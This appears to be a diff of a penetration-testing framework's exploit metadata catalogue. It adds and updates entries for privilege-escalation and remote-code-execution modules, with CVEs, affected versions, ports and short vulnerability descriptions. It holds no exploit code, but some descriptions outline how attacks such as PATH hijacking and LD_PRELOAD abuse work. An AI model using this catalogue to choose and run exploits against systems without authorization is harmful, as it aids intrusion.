"path": "/modules/exploits/linux/local/asan_suid_executable_priv_esc.rb",
"is_install_path": true,
"ref_name": "linux/local/asan_suid_executable_priv_esc",
@@ -58384,6 +59507,12 @@
"notes": {
"AKA": [
"unsanitary.sh"
],
"Reliability": [
"repeatable-session"
],
"Stability": [
"crash-safe"
]
},
"needs_cleanup": true
@@ -58574,7 +59703,7 @@
"targets": [
"Auto"
],
"mod_time": "2018-12-16 14:11:54 +0000",
"mod_time": "2019-11-03 00:33:24 +0000",
"path": "/modules/exploits/linux/local/bpf_sign_extension_priv_esc.rb",
"is_install_path": true,
"ref_name": "linux/local/bpf_sign_extension_priv_esc",
@@ -58585,6 +59714,12 @@
"AKA": [
"get-rekt-linux-hardened.c",
"upstream44.c"
],
"Reliability": [
"repeatable-session"
],
"Stability": [
"crash-os-down"
]
},
"needs_cleanup": true
@@ -58979,7 +60114,7 @@
"HP System Management Homepage 7.1.1",
"HP System Management Homepage 7.1.2"
],
"mod_time": "2017-07-24 06:26:21 +0000",
"mod_time": "2019-10-05 14:26:34 +0000",
"path": "/modules/exploits/linux/local/hp_smhstart.rb",
"is_install_path": true,
"ref_name": "linux/local/hp_smhstart",
@@ -59107,7 +60242,7 @@
"targets": [
"Auto"
],
"mod_time": "2019-09-02 13:31:30 +0000",
"mod_time": "2019-11-03 00:33:24 +0000",
"path": "/modules/exploits/linux/local/ktsuss_suid_priv_esc.rb",
"is_install_path": true,
"ref_name": "linux/local/ktsuss_suid_priv_esc",
@@ -59115,6 +60250,12 @@
"post_auth": false,
"default_credential": false,
"notes": {
"Reliability": [
"repeatable-session"
],
"Stability": [
"crash-safe"
]
},
"needs_cleanup": true
},
@@ -59249,7 +60390,7 @@
"targets": [
"Auto"
],
"mod_time": "2018-12-16 14:11:54 +0000",
"mod_time": "2019-11-03 00:33:24 +0000",
"path": "/modules/exploits/linux/local/nested_namespace_idmap_limit_priv_esc.rb",
"is_install_path": true,
"ref_name": "linux/local/nested_namespace_idmap_limit_priv_esc",
@@ -59259,6 +60400,12 @@
"notes": {
"AKA": [
"subuid_shell.c"
],
"Reliability": [
"repeatable-session"
],
"Stability": [
"crash-safe"
]
},
"needs_cleanup": true
@@ -59397,6 +60544,52 @@
},
"needs_cleanup": true
},
"exploit_linux/local/omniresolve_suid_priv_esc": {
"name": "Micro Focus (HPE) Data Protector SUID Privilege Escalation",
"fullname": "exploit/linux/local/omniresolve_suid_priv_esc",
"aliases": [
],
"rank": 600,
"disclosure_date": "2019-09-13",
"type": "exploit",
"author": [
"s7u55"
],
"description": "This module exploits the trusted `$PATH` environment\n variable of the SUID binary `omniresolve` in\n Micro Focus (HPE) Data Protector A.10.40 and prior.\n\n The `omniresolve` executable calls the `oracleasm` binary using\n a relative path and the trusted environment `$PATH`, which allows\n an attacker to execute a custom binary with `root` privileges.\n\n This module has been successfully tested on:\n HPE Data Protector A.09.07: OMNIRESOLVE, internal build 110, built on Thu Aug 11 14:52:38 2016;\n Micro Focus Data Protector A.10.40: OMNIRESOLVE, internal build 118, built on Tue May 21 05:49:04 2019 on CentOS Linux release 7.6.1810 (Core)\n\n The vulnerability has been patched in:\n Micro Focus Data Protector A.10.40: OMNIRESOLVE, internal build 125, built on Mon Aug 19 19:22:20 2019",
"references": [
"CVE-2019-11660",
"URL-https://softwaresupport.softwaregrp.com/doc/KM03525630"
],
"platform": "Linux",
"arch": "x86, x64",
"rport": null,
"autofilter_ports": [
],
"autofilter_services": [
],
"targets": [
"Micro Focus (HPE) Data Protector <= 10.40 build 118"
],
"mod_time": "2019-11-03 00:33:24 +0000",
"path": "/modules/exploits/linux/local/omniresolve_suid_priv_esc.rb",
"is_install_path": true,
"ref_name": "linux/local/omniresolve_suid_priv_esc",
"check": true,
"post_auth": false,
"default_credential": false,
"notes": {
"Reliability": [
"repeatable-session"
],
"Stability": [
"crash-safe"
]
},
"needs_cleanup": true
},
"exploit_linux/local/overlayfs_priv_esc": {
"name": "Overlayfs Privilege Escalation",
"fullname": "exploit/linux/local/overlayfs_priv_esc",
@@ -59531,6 +60724,57 @@
},
"needs_cleanup": true
},
"exploit_linux/local/ptrace_traceme_pkexec_helper": {
"name": "Linux Polkit pkexec helper PTRACE_TRACEME local root exploit",
"fullname": "exploit/linux/local/ptrace_traceme_pkexec_helper",
"aliases": [
],
"rank": 600,
"disclosure_date": "2019-07-04",
"type": "exploit",
"author": [
"Jann Horn",
"bcoles <bcoles@gmail.com>",
"timwr"
],
"description": "This module exploits an issue in ptrace_link in kernel/ptrace.c before Linux\n kernel 5.1.17. This issue can be exploited from a Linux desktop terminal, but\n not over an SSH session, as it requires execution from within the context of\n a user with an active Polkit agent.\n In the Linux kernel before 5.1.17, ptrace_link in kernel/ptrace.c mishandles\n the recording of the credentials of a process that wants to create a ptrace\n relationship, which allows local users to obtain root access by leveraging\n certain scenarios with a parent-child process relationship, where a parent drops\n privileges and calls execve (potentially allowing control by an attacker). One\n contributing factor is an object lifetime issue (which can also cause a panic).\n Another contributing factor is incorrect marking of a ptrace relationship as\n privileged, which is exploitable through (for example) Polkit's pkexec helper\n with PTRACE_TRACEME.",
"references": [
"CVE-2019-13272",
"EDB-47133",
"PACKETSTORM-153663",
"URL-https://github.com/bcoles/kernel-exploits/tree/master/CVE-2019-13272",
"URL-https://bugs.chromium.org/p/project-zero/issues/detail?id=1903"
],
"platform": "Linux",
"arch": "x64",
"rport": null,
"autofilter_ports": [
],
"autofilter_services": [
],
"targets": [
"Auto"
],
"mod_time": "2019-11-03 00:33:24 +0000",
"path": "/modules/exploits/linux/local/ptrace_traceme_pkexec_helper.rb",
"is_install_path": true,
"ref_name": "linux/local/ptrace_traceme_pkexec_helper",
"check": true,
"post_auth": false,
"default_credential": false,
"notes": {
"Reliability": [
"repeatable-session"
],
"Stability": [
"crash-safe"
]
},
"needs_cleanup": true
},
"exploit_linux/local/rc_local_persistence": {
"name": "rc.local Persistence",
"fullname": "exploit/linux/local/rc_local_persistence",
@@ -59744,7 +60988,7 @@
"targets": [
"Auto"
],
"mod_time": "2019-06-29 14:01:18 +0000",
"mod_time": "2019-11-03 00:33:24 +0000",
"path": "/modules/exploits/linux/local/servu_ftp_server_prepareinstallation_priv_esc.rb",
"is_install_path": true,
"ref_name": "linux/local/servu_ftp_server_prepareinstallation_priv_esc",
@@ -59752,6 +60996,12 @@
"post_auth": false,
"default_credential": false,
"notes": {
"Reliability": [
"repeatable-session"
],
"Stability": [
"crash-safe"
]
},
"needs_cleanup": true
},
@@ -59792,7 +61042,7 @@
"targets": [
"Linux x86"
],
"mod_time": "2018-11-11 09:37:56 +0000",
"mod_time": "2019-11-03 00:33:24 +0000",
"path": "/modules/exploits/linux/local/sock_sendpage.rb",
"is_install_path": true,
"ref_name": "linux/local/sock_sendpage",
@@ -59800,6 +61050,12 @@
"post_auth": false,
"default_credential": false,
"notes": {
"Reliability": [
"repeatable-session"
],
"Stability": [
"crash-os-down"
]
},
"needs_cleanup": true
},
@@ -59883,7 +61139,7 @@
"targets": [
"Auto"
],
"mod_time": "2019-04-19 12:54:30 +0000",
"mod_time": "2019-11-03 00:33:24 +0000",
"path": "/modules/exploits/linux/local/systemtap_modprobe_options_priv_esc.rb",
"is_install_path": true,
"ref_name": "linux/local/systemtap_modprobe_options_priv_esc",
@@ -59891,6 +61147,12 @@
"post_auth": false,
"default_credential": false,
"notes": {
"Reliability": [
"repeatable-session"
],
"Stability": [
"crash-safe"
]
},
"needs_cleanup": true
},
@@ -60022,7 +61284,7 @@
"targets": [
"Auto"
],
"mod_time": "2019-01-10 19:19:14 +0000",
"mod_time": "2019-11-03 00:33:24 +0000",
"path": "/modules/exploits/linux/local/ufo_privilege_escalation.rb",
"is_install_path": true,
"ref_name": "linux/local/ufo_privilege_escalation",
@@ -60030,6 +61292,12 @@
"post_auth": false,
"default_credential": false,
"notes": {
"Reliability": [
"repeatable-session"
],
"Stability": [
"crash-os-down"
]
},
"needs_cleanup": true
},
@@ -60069,7 +61337,7 @@
"Linux x86",
"Linux x64"
],
"mod_time": "2019-01-10 19:19:14 +0000",
"mod_time": "2019-11-03 00:33:24 +0000",
"path": "/modules/exploits/linux/local/vmware_alsa_config.rb",
"is_install_path": true,
"ref_name": "linux/local/vmware_alsa_config",
@@ -60077,6 +61345,12 @@
"post_auth": false,
"default_credential": false,
"notes": {
"Reliability": [
"repeatable-session"
],
"Stability": [
"crash-safe"
]
},
"needs_cleanup": true
},
@@ -61423,7 +62697,7 @@
"targets": [
"UEB 9.*"
],
"mod_time": "2017-10-20 19:59:24 +0000",
"mod_time": "2019-10-05 14:40:27 +0000",
"path": "/modules/exploits/linux/misc/ueb9_bpserverd.rb",
"is_install_path": true,
"ref_name": "linux/misc/ueb9_bpserverd",
@@ -62222,6 +63496,49 @@
},
"needs_cleanup": null
},
"exploit_linux/snmp/net_snmpd_rw_access": {
"name": "Net-SNMPd Write Access SNMP-EXTEND-MIB arbitrary code execution",
"fullname": "exploit/linux/snmp/net_snmpd_rw_access",
"aliases": [
],
"rank": 300,
"disclosure_date": "2004-05-10",
"type": "exploit",
"author": [
"Steve Embling at InteliSecure"
],
"description": "This exploit module exploits the SNMP write access configuration ability of SNMP-EXTEND-MIB to\n configure MIB extensions and lead to remote code execution.",
"references": [
"URL-http://net-snmp.sourceforge.net/docs/mibs/NET-SNMP-EXTEND-MIB.txt",
"URL-https://medium.com/rangeforce/snmp-arbitrary-command-execution-19a6088c888e",
"URL-https://digi.ninja/blog/snmp_to_shell.php",
"URL-https://sourceforge.net/p/net-snmp/mailman/message/15735617/"
],
"platform": "",
"arch": "",
"rport": 161,
"autofilter_ports": [
],
"autofilter_services": [
],
"targets": [
"Linux x86",
"Linux x64"
],
"mod_time": "2019-11-07 01:34:16 +0000",
"path": "/modules/exploits/linux/snmp/net_snmpd_rw_access.rb",
"is_install_path": true,
"ref_name": "linux/snmp/net_snmpd_rw_access",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"needs_cleanup": null
},
"exploit_linux/ssh/ceragon_fibeair_known_privkey": {
"name": "Ceragon FibeAir IP-10 SSH Private Key Exposure",
"fullname": "exploit/linux/ssh/ceragon_fibeair_known_privkey",
@@ -65525,6 +66842,46 @@
},
"needs_cleanup": null
},
"exploit_multi/fileformat/zip_slip": {
"name": "Generic Zip Slip Traversal Vulnerability",
"fullname": "exploit/multi/fileformat/zip_slip",
"aliases": [
],
"rank": 0,
"disclosure_date": "2018-06-05",
"type": "exploit",
"author": [
"Snyk",
"sinn3r <sinn3r@metasploit.com>"
],
"description": "This is a generic arbitrary file overwrite technique, which typically results in remote\n command execution. This targets a simple yet widespread vulnerability that has been\n seen affecting a variety of popular products including HP, Amazon, Apache, Cisco, etc.\n The idea is that often archive extraction libraries have no mitigations against\n directory traversal attacks. If an application uses it, there is a risk when opening an\n archive that is maliciously modified, and result in the embedded payload to be written\n to an arbitrary location (such as a web root), and result in remote code execution.",
"references": [
"URL-https://snyk.io/research/zip-slip-vulnerability"
],
"platform": "Linux,Unix,Windows",
"arch": "",
"rport": null,
"autofilter_ports": [
],
"autofilter_services": [
],
"targets": [
"Manually determined"
],
"mod_time": "2019-09-12 07:43:54 +0000",
"path": "/modules/exploits/multi/fileformat/zip_slip.rb",
"is_install_path": true,
"ref_name": "multi/fileformat/zip_slip",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"needs_cleanup": null
},
"exploit_multi/ftp/pureftpd_bash_env_exec": {
"name": "Pure-FTPd External Authentication Bash Environment Variable Code Injection (Shellshock)",
"fullname": "exploit/multi/ftp/pureftpd_bash_env_exec",
@@ -66160,7 +67517,7 @@
"targets": [
"Automatic"
],
"mod_time": "2017-07-24 06:26:21 +0000",
"mod_time": "2019-10-02 20:23:12 +0000",
"path": "/modules/exploits/multi/http/atutor_sqli.rb",
"is_install_path": true,
"ref_name": "multi/http/atutor_sqli",
@@ -66636,6 +67993,57 @@
},
"needs_cleanup": true
},
"exploit_multi/http/cmsms_object_injection_rce": {
"name": "CMS Made Simple Authenticated RCE via object injection",
"fullname": "exploit/multi/http/cmsms_object_injection_rce",
"aliases": [
],
"rank": 300,
"disclosure_date": "2019-03-26",
"type": "exploit",
"author": [
"Daniele Scanu danielescanu20 <Daniele Scanu danielescanu20@gmail.com>"
],
"description": "An issue was discovered in CMS Made Simple 2.2.8.\n In the module DesignManager (in the files action.admin_bulk_css.php\n and action.admin_bulk_template.php), with an unprivileged user\n with Designer permission, it is possible to reach an unserialize\n call with a crafted value in the m1_allparms parameter,\n and achieve object injection.\n\n This module has been successfully tested on CMS Made Simple versions\n 2.2.6, 2.2.7, 2.2.8, 2.2.9 and 2.2.9.1.",
"references": [
"CVE-2019-9055",
"CWE-74",
"URL-https://newsletter.cmsmadesimple.org/w/89247Qog4jCRCuRinvhsofwg",
"URL-https://www.cmsmadesimple.org/2019/03/Announcing-CMS-Made-Simple-v2.2.10-Spuzzum"
],
"platform": "PHP",
"arch": "php",
"rport": 80,
"autofilter_ports": [
80,
8080,
443,
8000,
8888,
8880,
8008,
3000,
8443
],
"autofilter_services": [
"http",
"https"
],
"targets": [
"Automatic"
],
"mod_time": "2019-11-13 08:34:23 +0000",
"path": "/modules/exploits/multi/http/cmsms_object_injection_rce.rb",
"is_install_path": true,
"ref_name": "multi/http/cmsms_object_injection_rce",
"check": true,
"post_auth": true,
"default_credential": false,
"notes": {
},
"needs_cleanup": true
},
"exploit_multi/http/cmsms_showtime2_rce": {
"name": "CMS Made Simple (CMSMS) Showtime2 File Upload RCE",
"fullname": "exploit/multi/http/cmsms_showtime2_rce",
@@ -66793,11 +68201,11 @@
},
"needs_cleanup": null
},
"exploit_multi/http/coldfusion_rds": {
"name": "Adobe ColdFusion 9 Administrative Login Bypass",
"fullname": "exploit/multi/http/coldfusion_rds",
"exploit_multi/http/coldfusion_rds_auth_bypass": {
"name": "Adobe ColdFusion RDS Authentication Bypass",
"fullname": "exploit/multi/http/coldfusion_rds_auth_bypass",
"aliases": [
"exploit/multi/http/coldfusion_rds"
],
"rank": 500,
"disclosure_date": "2013-08-08",
@@ -66834,10 +68242,10 @@
"Windows",
"Linux"
],
"mod_time": "2017-07-24 06:26:21 +0000",
"path": "/modules/exploits/multi/http/coldfusion_rds.rb",
"mod_time": "2019-10-31 09:59:35 +0000",
"path": "/modules/exploits/multi/http/coldfusion_rds_auth_bypass.rb",
"is_install_path": true,
"ref_name": "multi/http/coldfusion_rds",
"ref_name": "multi/http/coldfusion_rds_auth_bypass",
"check": true,
"post_auth": false,
"default_credential": false,
@@ -70037,7 +71445,7 @@
"Unix CMD",
"Linux Payload"
],
"mod_time": "2019-08-02 09:48:53 +0000",
"mod_time": "2019-10-05 14:22:18 +0000",
"path": "/modules/exploits/multi/http/mutiny_subnetmask_exec.rb",
"is_install_path": true,
"ref_name": "multi/http/mutiny_subnetmask_exec",
@@ -70258,6 +71666,67 @@
},
"needs_cleanup": true
},
"exploit_multi/http/nostromo_code_exec": {
"name": "Nostromo Directory Traversal Remote Command Execution",
"fullname": "exploit/multi/http/nostromo_code_exec",
"aliases": [
],
"rank": 400,
"disclosure_date": "2019-10-20",
"type": "exploit",
"author": [
"Quentin Kaiser <kaiserquentin@gmail.com>",
"sp0re"
],
"description": "This module exploits a remote command execution vulnerability in\n Nostromo <= 1.9.6. This issue is caused by a directory traversal\n in the function `http_verify` in nostromo nhttpd allowing an attacker\n to achieve remote code execution via a crafted HTTP request.",
"references": [
"CVE-2019-16278",
"URL-https://www.sudokaikan.com/2019/10/cve-2019-16278-unauthenticated-remote.html"
],
"platform": "Linux,Unix",
"arch": "cmd, x86, x64, mipsbe, mipsle, armle, aarch64",
"rport": 80,
"autofilter_ports": [
80,
8080,
443,
8000,
8888,
8880,
8008,
3000,
8443
],
"autofilter_services": [
"http",
"https"
],
"targets": [
"Automatic (Unix In-Memory)",
"Automatic (Linux Dropper)"
],
"mod_time": "2019-10-31 08:23:57 +0000",
"path": "/modules/exploits/multi/http/nostromo_code_exec.rb",
"is_install_path": true,
"ref_name": "multi/http/nostromo_code_exec",
"check": true,
"post_auth": false,
"default_credential": false,
"notes": {
"Stability": [
"crash-safe"
],
"Reliability": [
"repeatable-session"
],
"SideEffects": [
"ioc-in-logs",
"artifacts-on-disk"
]
},
"needs_cleanup": null
},
"exploit_multi/http/novell_servicedesk_rce": {
"name": "Novell ServiceDesk Authenticated File Upload",
"fullname": "exploit/multi/http/novell_servicedesk_rce",
@@ -70362,6 +71831,58 @@
},
"needs_cleanup": null
},
"exploit_multi/http/october_upload_bypass_exec": {
"name": "October CMS Upload Protection Bypass Code Execution",
"fullname": "exploit/multi/http/october_upload_bypass_exec",
"aliases": [
],
"rank": 600,
"disclosure_date": "2017-04-25",
"type": "exploit",
"author": [
"Anti Räis",
"Touhid M.Shaikh <touhidshaikh22@gmail.com>",
"SecureLayer7.net"
],
"description": "This module exploits an Authenticated user with permission to upload and manage media contents can\n upload various files on the server. Application prevents the user from\n uploading PHP code by checking the file extension. It uses black-list based\n approach, as seen in octobercms/vendor/october/rain/src/Filesystem/\n Definitions.php:blockedExtensions().\n This module was tested on October CMS version v1.0.412 on Ubuntu.",
"references": [
"EDB-41936",
"URL-https://bitflipper.eu/finding/2017/04/october-cms-v10412-several-issues.html",
"CVE-2017-1000119"
],
"platform": "PHP",
"arch": "php",
"rport": 80,
"autofilter_ports": [
80,
8080,
443,
8000,
8888,
8880,
8008,
3000,
8443
],
"autofilter_services": [
"http",
"https"
],
"targets": [
"October CMS v1.0.412"
],
"mod_time": "2019-09-06 09:49:09 +0000",
"path": "/modules/exploits/multi/http/october_upload_bypass_exec.rb",
"is_install_path": true,
"ref_name": "multi/http/october_upload_bypass_exec",
"check": true,
"post_auth": true,
"default_credential": true,
"notes": {
},
"needs_cleanup": true
},
"exploit_multi/http/op5_license": {
"name": "OP5 license.php Remote Command Execution",
"fullname": "exploit/multi/http/op5_license",
@@ -72741,6 +74262,7 @@
],
"description": "This module exploits a php object instantiation vulnerability that can lead to RCE in\n Shopware. An authenticated backend user could exploit the vulnerability.\n\n The vulnerability exists in the createInstanceFromNamedArguments function, where the code\n insufficiently performs whitelist check which can be bypassed to trigger an object injection.\n\n An attacker can leverage this to deserialize an arbitrary payload and write a webshell to\n the target system, resulting in remote code execution.\n\n Tested on Shopware git branches 5.6, 5.5, 5.4, 5.3.",
"references": [
"CVE-2019-12799",
"CVE-2017-18357",
"URL-https://blog.ripstech.com/2017/shopware-php-object-instantiation-to-blind-xxe/"
],
@@ -72765,7 +74287,7 @@
"targets": [
"Automatic"
],
"mod_time": "2019-05-17 18:20:59 +0000",
"mod_time": "2019-09-12 16:09:32 +0000",
"path": "/modules/exploits/multi/http/shopware_createinstancefromnamedarguments_rce.rb",
"is_install_path": true,
"ref_name": "multi/http/shopware_createinstancefromnamedarguments_rce",
@@ -73189,7 +74711,7 @@
"Splunk >= 5.0.1 / Linux",
"Splunk >= 5.0.1 / Windows"
],
"mod_time": "2019-03-19 15:28:24 +0000",
"mod_time": "2019-11-26 15:38:34 +0000",
"path": "/modules/exploits/multi/http/splunk_upload_app_exec.rb",
"is_install_path": true,
"ref_name": "multi/http/splunk_upload_app_exec",
@@ -74490,6 +76012,67 @@
},
"needs_cleanup": null
},
"exploit_multi/http/totaljs_cms_widget_exec": {
"name": "Total.js CMS 12 Widget JavaScript Code Injection",
"fullname": "exploit/multi/http/totaljs_cms_widget_exec",
"aliases": [
],
"rank": 600,
"disclosure_date": "2019-08-30",
"type": "exploit",
"author": [
"Riccardo Krauter",
"sinn3r <sinn3r@metasploit.com>"
],
"description": "This module exploits a vulnerability in Total.js CMS. The issue is that a user with\n admin permission can embed a malicious JavaScript payload in a widget, which is\n evaluated server side, and gain remote code execution.",
"references": [
"CVE-2019-15954",
"URL-https://seclists.org/fulldisclosure/2019/Sep/5",
"URL-https://github.com/beerpwn/CVE/blob/master/Totaljs_disclosure_report/report_final.pdf"
],
"platform": "",
"arch": "x86, x64",
"rport": 8000,
"autofilter_ports": [
80,
8080,
443,
8000,
8888,
8880,
8008,
3000,
8443
],
"autofilter_services": [
"http",
"https"
],
"targets": [
"Total.js CMS on Linux",
"Total.js CMS on Mac"
],
"mod_time": "2019-10-15 14:00:58 +0000",
"path": "/modules/exploits/multi/http/totaljs_cms_widget_exec.rb",
"is_install_path": true,
"ref_name": "multi/http/totaljs_cms_widget_exec",
"check": true,
"post_auth": true,
"default_credential": true,
"notes": {
"SideEffects": [
"ioc-in-logs"
],
"Reliability": [
"repeatable-session"
],
"Stability": [
"crash-safe"
]
},
"needs_cleanup": null
},
"exploit_multi/http/traq_plugin_exec": {
"name": "Traq admincp/common.php Remote Code Execution",
"fullname": "exploit/multi/http/traq_plugin_exec",
@@ -75950,7 +77533,7 @@
"Solaris",
"Linux"
],
"mod_time": "2019-01-10 19:19:14 +0000",
"mod_time": "2019-11-03 00:33:24 +0000",
"path": "/modules/exploits/multi/local/magnicomp_sysinfo_mcsiwrapper_priv_esc.rb",
"is_install_path": true,
"ref_name": "multi/local/magnicomp_sysinfo_mcsiwrapper_priv_esc",
@@ -75958,6 +77541,12 @@
"post_auth": false,
"default_credential": false,
"notes": {
"Reliability": [
"repeatable-session"
],
"Stability": [
"crash-safe"
]
},
"needs_cleanup": true
},
@@ -76011,6 +77600,54 @@
},
"needs_cleanup": true
},
"exploit_multi/local/xorg_x11_suid_server_modulepath": {
"name": "Xorg X11 Server SUID modulepath Privilege Escalation",
"fullname": "exploit/multi/local/xorg_x11_suid_server_modulepath",
"aliases": [
],
"rank": 400,
"disclosure_date": "2018-10-25",
"type": "exploit",
"author": [
"Narendra Shinde",
"Aaron Ringo"
],
"description": "This module attempts to gain root privileges with SUID Xorg X11 server\n versions 1.19.0 < 1.20.3.\n\n A permission check flaw exists for -modulepath and -logfile options when\n starting Xorg. This allows unprivileged users that can start the server\n the ability to elevate privileges and run arbitrary code under root\n privileges.\n\n This module has been tested with CentOS 7 (1708).\n CentOS default install will require console auth for the users session.\n Xorg must have SUID permissions and may not start if running.\n\n On successful exploitation artifacts will be created consistant\n with starting Xorg.",
"references": [
"CVE-2018-14665",
"BID-105741",
"EDB-45697",
"EDB-45742",
"EDB-45832",
"URL-https://www.securepatterns.com/2018/10/cve-2018-14665-another-way-of.html"
],
"platform": "Linux,Solaris,Unix",
"arch": "x86, x64",
"rport": null,
"autofilter_ports": [
],
"autofilter_services": [
],
"targets": [
"Linux x64",
"Linux x86",
"Solaris x86",
"Solaris x64"
],
"mod_time": "2019-10-22 09:31:43 +0000",
"path": "/modules/exploits/multi/local/xorg_x11_suid_server_modulepath.rb",
"is_install_path": true,
"ref_name": "multi/local/xorg_x11_suid_server_modulepath",
"check": true,
"post_auth": false,
"default_credential": false,
"notes": {
},
"needs_cleanup": true
},
"exploit_multi/misc/arkeia_agent_exec": {
"name": "Western Digital Arkeia Remote Code Execution",
"fullname": "exploit/multi/misc/arkeia_agent_exec",
@@ -76364,7 +78001,7 @@
"Windows",
"Windows (CmdStager)"
],
"mod_time": "2018-12-21 07:33:37 +0000",
"mod_time": "2019-10-05 14:40:27 +0000",
"path": "/modules/exploits/multi/misc/erlang_cookie_rce.rb",
"is_install_path": true,
"ref_name": "multi/misc/erlang_cookie_rce",
@@ -76375,6 +78012,50 @@
},
"needs_cleanup": null
},
"exploit_multi/misc/freeswitch_event_socket_cmd_exec": {
"name": "FreeSWITCH Event Socket Command Execution",
"fullname": "exploit/multi/misc/freeswitch_event_socket_cmd_exec",
"aliases": [
],
"rank": 600,
"disclosure_date": "2019-11-03",
"type": "exploit",
"author": [
"bcoles <bcoles@gmail.com>"
],
"description": "This module uses the FreeSWITCH event socket interface\n to execute system commands using the `system` API command.\n\n The event socket service is enabled by default and listens\n on TCP port 8021 on the local network interface.\n\n This module has been tested successfully on FreeSWITCH versions:\n\n 1.6.10-17-726448d~44bit on FreeSWITCH-Deb8-TechPreview virtual machine;\n 1.8.4~64bit on Ubuntu 19.04 (x64); and\n 1.10.1~64bit on Windows 7 SP1 (EN) (x64).",
"references": [
"CWE-260",
"URL-https://freeswitch.org/confluence/display/FREESWITCH/mod_event_socket"
],
"platform": "BSD,Linux,Unix,Windows",
"arch": "cmd, x86, x64",
"rport": 8021,
"autofilter_ports": [
],
"autofilter_services": [
],
"targets": [
"Unix (In-Memory)",
"Linux (Dropper)",
"PowerShell (In-Memory)",
"Windows (In-Memory)",
"Windows (Dropper)"
],
"mod_time": "2019-11-02 22:03:02 +0000",
"path": "/modules/exploits/multi/misc/freeswitch_event_socket_cmd_exec.rb",
"is_install_path": true,
"ref_name": "multi/misc/freeswitch_event_socket_cmd_exec",
"check": true,
"post_auth": true,
"default_credential": true,
"notes": {
},
"needs_cleanup": true
},
"exploit_multi/misc/hp_data_protector_exec_integutil": {
"name": "HP Data Protector EXEC_INTEGUTIL Remote Code Execution",
"fullname": "exploit/multi/misc/hp_data_protector_exec_integutil",
@@ -78646,8 +80327,8 @@
"disclosure_date": "2013-04-22",
"type": "exploit",
"author": [
"Tobias Ospelt <tobias@modzero.ch>",
"Martin Schobert <schobert@modzero.ch>"
"Tobias Ospelt",
"Martin Schobert"
],
"description": "This module exploits a stack buffer overflow in Tinc's tincd\n service. After authentication, a specially crafted tcp packet (default port 655)\n leads to a buffer overflow and allows to execute arbitrary code. This module has\n been tested with tinc-1.1pre6 on Windows XP (custom calc payload) and Windows 7\n (windows/meterpreter/reverse_tcp), and tinc version 1.0.19 from the ports of\n FreeBSD 9.1-RELEASE # 0 and various other OS, see targets. The exploit probably works\n for all versions <= 1.1pre6.\n A manually compiled version (1.1.pre6) on Ubuntu 12.10 with gcc 4.7.2 seems to\n be a non-exploitable crash due to calls to __memcpy_chk depending on how tincd\n was compiled. Bug got fixed in version 1.0.21/1.1pre7. While writing this module\n it was recommended to the maintainer to start using DEP/ASLR and other protection\n mechanisms.",
"references": [
@@ -78681,7 +80362,7 @@
"Crash only: OpenSuse 11.2 x86, tinc 1.0.16 (rpm package)",
"Crash only: Debian 7.3 ARM, tinc 1.0.19 (apt-get)"
],
"mod_time": "2017-07-24 06:26:21 +0000",
"mod_time": "2019-10-02 13:35:25 +0000",
"path": "/modules/exploits/multi/vpn/tincd_bof.rb",
"is_install_path": true,
"ref_name": "multi/vpn/tincd_bof",
@@ -80584,6 +82265,54 @@
},
"needs_cleanup": true
},
"exploit_solaris/local/xscreensaver_log_priv_esc": {
"name": "Solaris xscreensaver log Privilege Escalation",
"fullname": "exploit/solaris/local/xscreensaver_log_priv_esc",
"aliases": [
],
"rank": 600,
"disclosure_date": "2019-10-16",
"type": "exploit",
"author": [
"Marco Ivaldi",
"bcoles <bcoles@gmail.com>"
],
"description": "This module exploits a vulnerability in `xscreensaver` versions\n since 5.06 on unpatched Solaris 11 systems which allows users\n to gain root privileges.\n\n `xscreensaver` allows users to create a user-owned file at any\n location on the filesystem using the `-log` command line argument\n introduced in version 5.06.\n\n This module uses `xscreensaver` to create a log file in `/usr/lib/secure/`,\n overwrites the log file with a shared object, and executes the shared\n object using the `LD_PRELOAD` environment variable.\n\n This module has been tested successfully on:\n\n xscreensaver version 5.15 on Solaris 11.1 (x86); and\n xscreensaver version 5.15 on Solaris 11.3 (x86).",
"references": [
"CVE-2019-3010",
"EDB-47509",
"URL-https://seclists.org/fulldisclosure/2019/Oct/39",
"URL-https://github.com/0xdea/exploits/blob/master/solaris/raptor_xscreensaver",
"URL-https://techblog.mediaservice.net/2019/10/local-privilege-escalation-on-solaris-11-x-via-xscreensaver/",
"URL-https://www.oracle.com/technetwork/security-advisory/cpuoct2019-5072832.html"
],
"platform": "Solaris,Unix",
"arch": "cmd",
"rport": null,
"autofilter_ports": [
],
"autofilter_services": [
],
"targets": [
"Auto"
],
"mod_time": "2019-10-23 06:37:30 +0000",
"path": "/modules/exploits/solaris/local/xscreensaver_log_priv_esc.rb",
"is_install_path": true,
"ref_name": "solaris/local/xscreensaver_log_priv_esc",
"check": true,
"post_auth": false,
"default_credential": false,
"notes": {
"AKA": [
"raptor_xscreensaver"
]
},
"needs_cleanup": true
},
"exploit_solaris/lpd/sendmail_exec": {
"name": "Solaris LPD Command Execution",
"fullname": "exploit/solaris/lpd/sendmail_exec",
@@ -82395,7 +84124,7 @@
"Linux x86",
"BSD x86"
],
"mod_time": "2018-01-23 10:12:15 +0000",
"mod_time": "2019-11-03 00:33:24 +0000",
"path": "/modules/exploits/unix/local/setuid_nmap.rb",
"is_install_path": true,
"ref_name": "unix/local/setuid_nmap",
@@ -82403,6 +84132,12 @@
"post_auth": false,
"default_credential": false,
"notes": {
"Reliability": [
"repeatable-session"
],
"Stability": [
"crash-safe"
]
},
"needs_cleanup": null
},
@@ -83042,6 +84777,55 @@
},
"needs_cleanup": null
},
"exploit_unix/webapp/ajenti_auth_username_cmd_injection": {
"name": "Ajenti auth username Command Injection",
"fullname": "exploit/unix/webapp/ajenti_auth_username_cmd_injection",
"aliases": [
],
"rank": 600,
"disclosure_date": "2019-10-14",
"type": "exploit",
"author": [
"Jeremy Brown",
"Onur ER <onur@onurer.net>"
],
"description": "This module exploits a command injection in Ajenti == 2.1.31.\n By injecting a command into the username POST parameter to api/core/auth, a shell can be spawned.",
"references": [
"EDB-47497"
],
"platform": "Python",
"arch": "python",
"rport": 8000,
"autofilter_ports": [
80,
8080,
443,
8000,
8888,
8880,
8008,
3000,
8443
],
"autofilter_services": [
"http",
"https"
],
"targets": [
"Ajenti == 2.1.31"
],
"mod_time": "2019-11-20 19:09:24 +0000",
"path": "/modules/exploits/unix/webapp/ajenti_auth_username_cmd_injection.rb",
"is_install_path": true,
"ref_name": "unix/webapp/ajenti_auth_username_cmd_injection",
"check": true,
"post_auth": false,
"default_credential": false,
"notes": {
},
"needs_cleanup": null
},
